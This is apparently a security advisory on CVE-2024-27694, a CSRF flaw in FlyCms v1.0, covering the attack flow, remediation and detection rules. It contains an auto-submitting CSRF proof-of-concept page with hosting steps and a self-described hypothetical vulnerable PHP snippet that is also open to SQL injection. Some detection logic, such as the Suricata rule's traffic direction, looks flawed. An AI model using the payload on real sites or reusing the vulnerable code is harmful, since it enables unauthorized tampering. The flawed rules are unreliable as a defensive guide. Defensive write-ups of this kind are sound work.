CVE-2024-27694

Executive Summary

CVE-2024-27694 identifies a Cross-Site Request Forgery (CSRF) vulnerability in FlyCms v1.0, specifically within the /system/share/ztree_category_edit endpoint. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying category trees, without their consent. The vulnerability is classified under CWE-352 (Cross-Site Request Forgery) and currently has no known patch or CVSS vector assigned. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks against FlyCms deployments.

Supply Chain & Package Security

FlyCms is a PHP-based content management system. This vulnerability affects the core application directly, not a third-party package. No supply chain compromise is involved, but the lack of a patch means users must rely on manual mitigations.

CVSS Breakdown & Threat Level

The CVSS score is 0.0, and no vector string is provided. Based on the vulnerability type (CSRF), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N) – but requires an authenticated session
• User Interaction (UI): Required (R) – victim must click a link
• Scope (S): Unchanged (U)
• Confidentiality (C): None (N)
• Integrity (I): Low (L) – can modify category data
• Availability (A): None (N)

Estimated CVSS Score: 4.3 (Medium)

Threat Level: Medium. Exploitation requires social engineering to lure an admin, but the impact is limited to data modification.

Deep Dive & Mechanics

The vulnerability resides in the ztree_category_edit functionality of FlyCms v1.0. The endpoint /system/share/ztree_category_edit likely handles AJAX requests to update category nodes in a zTree (a jQuery tree plugin). The absence of CSRF tokens or origin validation means an attacker can craft a malicious HTML page that, when visited by an authenticated admin, sends a forged request to modify category data.

Attack Flow:

1. Attacker identifies a FlyCms instance with an active admin session.
2. Attacker crafts a malicious HTML page containing a form or script that submits a POST/GET request to /system/share/ztree_category_edit with parameters like id, name, pId, etc.
3. Attacker lures the admin to visit the page (e.g., via phishing email).
4. The admin’s browser automatically sends the forged request with their session cookies.
5. The server processes the request, altering category tree data without the admin’s knowledge.

Root Cause: Lack of anti-CSRF mechanisms (e.g., tokens, SameSite cookies, or origin checks) in the affected endpoint.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable code pattern to a secure implementation.

Vulnerable Code (FlyCms v1.0 - hypothetical PHP snippet):

// /system/share/ztree_category_edit.php
<?php
// No CSRF token check
$id = $_POST['id'];
$name = $_POST['name'];
$pId = $_POST['pId'];
// Update database
$db->query("UPDATE category SET name='$name', parent_id='$pId' WHERE id=$id");
echo json_encode(['status' => 'success']);
?>

Patched Code (Secure implementation):

// /system/share/ztree_category_edit.php
<?php
session_start();
// Validate CSRF token
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die(json_encode(['status' => 'error', 'message' => 'Invalid CSRF token']));
}
$id = intval($_POST['id']);
$name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
$pId = intval($_POST['pId']);
// Use prepared statements
$stmt = $db->prepare("UPDATE category SET name=?, parent_id=? WHERE id=?");
$stmt->bind_param("sii", $name, $pId, $id);
$stmt->execute();
echo json_encode(['status' => 'success']);
?>

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target FlyCms v1.0 instance with an authenticated admin session.
• Ability to host a malicious HTML page or inject into a trusted site.

Exploit PoC (HTML):

<!DOCTYPE html>
<html>
<body>
<h1>Click me for a surprise!</h1>
<form id="csrf" action="http://target.com/system/share/ztree_category_edit" method="POST">
  <input type="hidden" name="id" value="1">
  <input type="hidden" name="name" value="Hacked Category">
  <input type="hidden" name="pId" value="0">
</form>
<script>
  document.getElementById('csrf').submit();
</script>
</body>
</html>

Usage:

1. Host the HTML file on an attacker-controlled server.
2. Send the link to an authenticated admin via email or social media.
3. Once the admin visits the page, the form auto-submits, modifying the category tree.

Blue Team (Defender)

Detection Steps:

1. Monitor for unexpected POST requests to /system/share/ztree_category_edit from external referrers.
2. Check server logs for unusual patterns in category modification timestamps.
3. Implement CSRF tokens immediately (see Remediation).

Lab Setup for Testing:

• Install FlyCms v1.0 on a local server (e.g., XAMPP).
• Log in as admin and capture a valid session cookie.
• Use Burp Suite to intercept and replay requests to the vulnerable endpoint.
• Test the PoC HTML against the local instance.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /system/share/ztree_category_edit with parameters id, name, pId.
  • Referer header pointing to an external domain (e.g., http://evil.com/).
• File IOCs:
  • Unexpected changes in category tree data in the database.
  • Log entries showing rapid, sequential modifications to category nodes.
• Behavioral IOCs:
  • Admin account performing category edits without corresponding UI interaction.

Detection Engineering

YARA Rule

rule detect_flycms_csrf_exploit {
    meta:
        description = "Detects CSRF exploit attempts against FlyCms ztree_category_edit"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-27694"
    strings:
        $s1 = "/system/share/ztree_category_edit" ascii wide nocase
        $s2 = "id=" ascii wide
        $s3 = "name=" ascii wide
        $s4 = "pId=" ascii wide
    condition:
        all of ($s*) and filesize < 10KB
}

Sigma Rule

title: FlyCms CSRF Exploit Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to FlyCms ztree_category_edit endpoint with suspicious referers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/system/share/ztree_category_edit'
    filter:
        cs-referer|contains: 'target.com'  # Replace with legitimate domain
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions from same origin
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-27694 FlyCms CSRF Exploit Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/system/share/ztree_category_edit"; http_uri;
    content:"id="; http_client_body;
    content:"name="; http_client_body;
    content:"pId="; http_client_body;
    reference:cve,2024-27694;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Implement CSRF Tokens: Add a unique, unpredictable token to each form and validate it server-side.
2. Use SameSite Cookies: Set SameSite=Strict or Lax on session cookies to prevent cross-origin requests.
3. Validate Origin: Check the Origin or Referer header against a whitelist of allowed domains.

Long-Term Fix:

• Upgrade to a patched version of FlyCms if released.
• Conduct a full security audit of all endpoints for CSRF and other vulnerabilities.

Workaround:

• Disable the ztree_category_edit functionality if not needed.
• Use a Web Application Firewall (WAF) to block requests with suspicious referers.

Valters IT
Securing Digital Frontiers